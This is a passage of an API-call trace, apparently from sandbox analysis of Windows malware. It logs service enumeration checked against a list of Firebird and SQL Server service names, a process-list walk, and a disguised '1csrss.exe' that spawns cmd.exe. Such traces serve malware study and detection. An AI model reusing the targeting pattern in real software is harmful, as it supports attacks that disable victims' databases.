(lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0317.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0317.767] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0317.767] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0317.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0317.767] lstrlenW (lpString="PlugPlay") returned 8 [0317.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0317.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0317.767] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0317.767] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0317.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0317.767] lstrlenW (lpString="Power") returned 5 [0317.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0317.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0317.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0317.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0317.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0317.767] lstrlenW (lpString="ProfSvc") returned 7 [0317.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0317.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0317.767] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0317.767] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0317.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0317.767] lstrlenW (lpString="RpcEptMapper") returned 12 [0317.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0317.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0317.767] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0317.767] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0317.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0317.767] lstrlenW (lpString="RpcSs") returned 5 [0317.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0317.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0317.767] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0317.767] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0317.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0317.767] lstrlenW (lpString="SamSs") returned 5 [0317.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0317.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0317.767] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0317.768] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0317.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0317.768] lstrlenW (lpString="Schedule") returned 8 [0317.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0317.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0317.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0317.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0317.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0317.768] lstrlenW (lpString="SecurityHealthService") returned 21 [0317.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0317.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0317.768] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0317.768] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0317.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0317.768] lstrlenW (lpString="SENS") returned 4 [0317.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0317.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0317.768] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0317.768] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0317.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0317.768] lstrlenW (lpString="ShellHWDetection") returned 16 [0317.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0317.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0317.768] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0317.768] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0317.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0317.768] lstrlenW (lpString="Spooler") returned 7 [0317.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0317.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0317.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0317.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0317.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0317.768] lstrlenW (lpString="SSDPSRV") returned 7 [0317.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0317.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0317.768] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0317.768] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0317.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0317.768] lstrlenW (lpString="StateRepository") returned 15 [0317.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0317.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0317.769] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0317.769] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0317.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e3e98 | out: hHeap=0x490000) returned 1 [0317.769] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0317.772] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0317.772] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0317.773] lstrlenW (lpString="System") returned 6 [0317.773] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0317.773] lstrlenW (lpString="smss.exe") returned 8 [0317.773] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0317.774] lstrlenW (lpString="csrss.exe") returned 9 [0317.774] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0317.774] lstrlenW (lpString="wininit.exe") returned 11 [0317.774] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0317.775] lstrlenW (lpString="csrss.exe") returned 9 [0317.775] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0317.776] lstrlenW (lpString="winlogon.exe") returned 12 [0317.776] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0317.877] lstrlenW (lpString="services.exe") returned 12 [0317.877] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0317.878] lstrlenW (lpString="lsass.exe") returned 9 [0317.878] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0317.879] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0317.879] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0317.879] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0317.879] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.880] lstrlenW (lpString="svchost.exe") returned 11 [0317.880] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.880] lstrlenW (lpString="svchost.exe") returned 11 [0317.880] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0317.881] lstrlenW (lpString="dwm.exe") returned 7 [0317.881] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.881] lstrlenW (lpString="svchost.exe") returned 11 [0317.881] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.882] lstrlenW (lpString="svchost.exe") returned 11 [0317.882] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.883] lstrlenW (lpString="svchost.exe") returned 11 [0317.883] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.883] lstrlenW (lpString="svchost.exe") returned 11 [0317.883] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.884] lstrlenW (lpString="svchost.exe") returned 11 [0317.884] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.884] lstrlenW (lpString="svchost.exe") returned 11 [0317.884] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.885] lstrlenW (lpString="svchost.exe") returned 11 [0317.885] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.934] lstrlenW (lpString="svchost.exe") returned 11 [0317.934] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.935] lstrlenW (lpString="svchost.exe") returned 11 [0317.935] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.935] lstrlenW (lpString="svchost.exe") returned 11 [0317.935] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0317.936] lstrlenW (lpString="spoolsv.exe") returned 11 [0317.936] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0317.937] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0317.937] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0317.937] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0317.937] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0317.938] lstrlenW (lpString="Memory Compression") returned 18 [0317.938] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.938] lstrlenW (lpString="svchost.exe") returned 11 [0317.938] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0317.950] lstrlenW (lpString="audiodg.exe") returned 11 [0317.950] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0317.951] lstrlenW (lpString="sihost.exe") returned 10 [0317.951] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.951] lstrlenW (lpString="svchost.exe") returned 11 [0317.951] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0317.952] lstrlenW (lpString="taskhostw.exe") returned 13 [0317.952] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0317.952] lstrlenW (lpString="explorer.exe") returned 12 [0317.952] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0317.953] lstrlenW (lpString="SearchUI.exe") returned 12 [0317.953] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0317.954] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0317.954] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0317.954] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0317.954] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0317.955] lstrlenW (lpString="1csrss.exe") returned 10 [0317.955] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.964] lstrlenW (lpString="svchost.exe") returned 11 [0317.965] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0317.965] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0317.965] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.966] lstrlenW (lpString="svchost.exe") returned 11 [0317.966] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.966] lstrlenW (lpString="dllhost.exe") returned 11 [0317.966] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.967] lstrlenW (lpString="dllhost.exe") returned 11 [0317.967] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.967] lstrlenW (lpString="dllhost.exe") returned 11 [0317.967] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0317.968] lstrlenW (lpString="1csrss.exe") returned 10 [0317.968] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0317.969] lstrlenW (lpString="cmd.exe") returned 7 [0317.969] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0317.969] lstrlenW (lpString="conhost.exe") returned 11 [0317.969] Process32NextW (in: hSnapshot=0x2c4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0317.970] CloseHandle (hObject=0x2c4) returned 1 [0317.970] Sleep (dwMilliseconds=0x1f4) [0318.828] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e9798 [0318.829] EnumServicesStatusExW (in: hSCManager=0x4e9798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0 [0318.829] GetLastError () returned 0xea [0318.829] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1de6) returned 0x3e21790 [0318.829] EnumServicesStatusExW (in: hSCManager=0x4e9798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e21790, cbBufSize=0x1de6, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e21790, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1 [0318.830] CloseServiceHandle (hSCObject=0x4e9798) returned 1 [0318.830] lstrlenW (lpString="Appinfo") returned 7 [0318.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0318.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0318.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0318.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0318.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0318.831] lstrlenW (lpString="AppXSvc") returned 7 [0318.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0318.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0318.831] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0318.831] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0318.831] lstrcmpiW (lpString1="sqlserveradhelper", 